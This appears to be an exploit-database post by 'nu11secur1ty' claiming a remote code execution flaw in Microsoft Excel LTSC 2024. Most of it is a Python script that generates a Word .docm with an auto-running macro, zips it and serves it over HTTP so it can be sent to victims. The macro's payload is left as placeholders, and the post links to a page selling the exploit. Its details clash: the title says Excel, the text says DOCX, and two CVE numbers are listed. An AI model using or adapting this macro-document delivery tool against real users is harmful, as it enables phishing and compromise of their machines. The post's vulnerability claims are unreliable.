Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)

# Titles: Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
# Author: nu11secur1ty
# Date: 06/16/2025
# Vendor: Microsoft
# Software: https://www.microsoft.com/en/microsoft-365/excel?market=af
# Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-27751
# CVE-2025-47957
# Versions: Microsoft Office LTSC 2024 , Microsoft Office LTSC 2021, Microsoft 365 Apps for Enterprise 

## Description:
The attacker can trick any user into opening and executing their code by
sending a malicious DOCX file via email or a streaming server. After the
execution of the victim, his machine can be infected or even worse than
ever; this could be the end of his Windows machine! WARNING: AMPOTATE THE
MACROS OPTIONS FROM YOUR OFFICE 365!!!

STATUS: HIGH-CRITICAL Vulnerability


[+]Exploit:

```
#!/usr/bin/python
# CVE-2025-47957 by nu11secur1ty
import os
import time
import zipfile
import threading
import http.server
import socket
import socketserver
import win32com.client

def get_local_ip():
    """Get the LAN IP address of the current machine."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))  # External DNS, just for routing
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "127.0.0.1"

def create_docm_with_auto_macro(filename):
    script_dir = os.path.dirname(os.path.abspath(__file__))
    full_path = os.path.join(script_dir, filename)

    word = win32com.client.Dispatch("Word.Application")
    word.Visible = False
    doc = word.Documents.Add()

    doc.Content.Text = "This document contains an auto-starting macro."

    vbproject = doc.VBProject
    vbcomponent = vbproject.VBComponents.Add(1)  # Standard Module

    macro_code = '''
Sub AutoOpen()
    Call YOUR_PoC
End Sub

Sub YOUR_PoC()
    Dim Program As String
    Dim TaskID As Double
    On Error Resume Next
    Program = "YOUR_EXPLOIT_HERE"
    TaskID = YOUR_TASK_HERE
    If Err <> 0 Then
        MsgBox "Can't start " & Program
    End If
End Sub
'''
    vbcomponent.CodeModule.AddFromString(macro_code)

    wdFormatXMLDocumentMacroEnabled = 13
    doc.SaveAs(full_path, FileFormat=wdFormatXMLDocumentMacroEnabled)
    doc.Close()
    word.Quit()

    print(f"[+] Macro-enabled .docm saved at: {full_path}")
    return full_path

def compress_to_zip(filepath):
    zip_path = filepath + '.zip'
    with zipfile.ZipFile(zip_path, 'w') as zipf:
        zipf.write(filepath, arcname=os.path.basename(filepath))
    print(f"[+] Compressed to ZIP: {zip_path}")
    return zip_path

def start_http_server(directory, port=8000):
    os.chdir(directory)
    handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("", port), handler)
    ip = get_local_ip()
    print(f"[+] HTTP server running at: http://{ip}:{port}/")

    thread = threading.Thread(target=httpd.serve_forever)
    thread.daemon = True
    thread.start()
    return httpd

if __name__ == "__main__":
    filename = "CVE-2025-47957.docm"
    docm_path = create_docm_with_auto_macro(filename)
    zip_path = compress_to_zip(docm_path)
    server = start_http_server(os.path.dirname(docm_path))

    try:
        print("[*] Server running — press Ctrl+C to stop...")
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[!] Ctrl+C detected — shutting down server...")
        server.shutdown()
        print("[+] The Exploit Server stopped. Goodbye!")

```

# Reproduce:
[href](https://www.youtube.com/watch?v=r4NsGrO56yo)

# Buy an exploit only:
[href](https://satoshidisk.com/pay/COeJqt)

# Time spent:
01:37:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

-- 

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>